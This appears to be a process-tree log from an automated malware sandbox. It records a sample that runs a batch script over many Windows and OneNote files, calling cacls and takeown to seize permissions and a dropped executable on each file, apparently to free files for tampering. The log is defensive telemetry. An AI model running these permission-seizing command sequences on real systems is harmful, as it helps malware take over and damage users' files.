C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoAcq.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoAcq.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\de-DE\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\es-ES\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\ja-JP\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.51a82577-9c11-4ab0-814a-738b487dd6ed.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.51a82577-9c11-4ab0-814a-738b487dd6ed.1.etl" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\MoUsoCoreWorker.51a82577-9c11-4ab0-814a-738b487dd6ed.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "MoUsoCoreWorker.51a82577-9c11-4ab0-814a-738b487dd6ed.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "MoUsoCoreWorker.51a82577-9c11-4ab0-814a-738b487dd6ed.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.82487fda-7096-4353-8064-2a1771ae0cd3.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.82487fda-7096-4353-8064-2a1771ae0cd3.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.82487fda-7096-4353-8064-2a1771ae0cd3.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "WuProvider.82487fda-7096-4353-8064-2a1771ae0cd3.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "WuProvider.82487fda-7096-4353-8064-2a1771ae0cd3.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\ProgramData\USOShared\Logs\System\WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "WuProvider.35f9d8be-4aad-483b-bfaa-bd5969393e87.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000D.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000D.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000D.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000D.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000D.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000N.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000N.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000017.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000017.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000017.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000004.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000004.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000004.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000F.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000000O.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000000O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000010.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000010.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000010.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000018.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000018.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000018.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000050.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000050.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000050.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000058.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000058.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000058.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000070.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000070.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000078.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000078.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000078.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007G.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007G.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007G.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000006F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000006F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007O.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000007O.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000007O.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006N.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000006N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000006N.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008H.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "0000008H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "0000008H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000093.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "00000093.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "00000093.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\Workflow.VisualBasic.Targets"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "Workflow.VisualBasic.Targets" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\en-US\PhotoViewer.dll.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "PhotoViewer.dll.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Windows Photo Viewer\it-IT\ImagingDevices.exe.mui"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c AghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula "ImagingDevices.exe.mui" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\AghaguL8.exeAghaguL8.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\gPIO5VrW.bat" "C:\Program Files (x86)\Windows Photo Viewer\uk-UA\PhotoViewer.dll.mui""2⤵
-
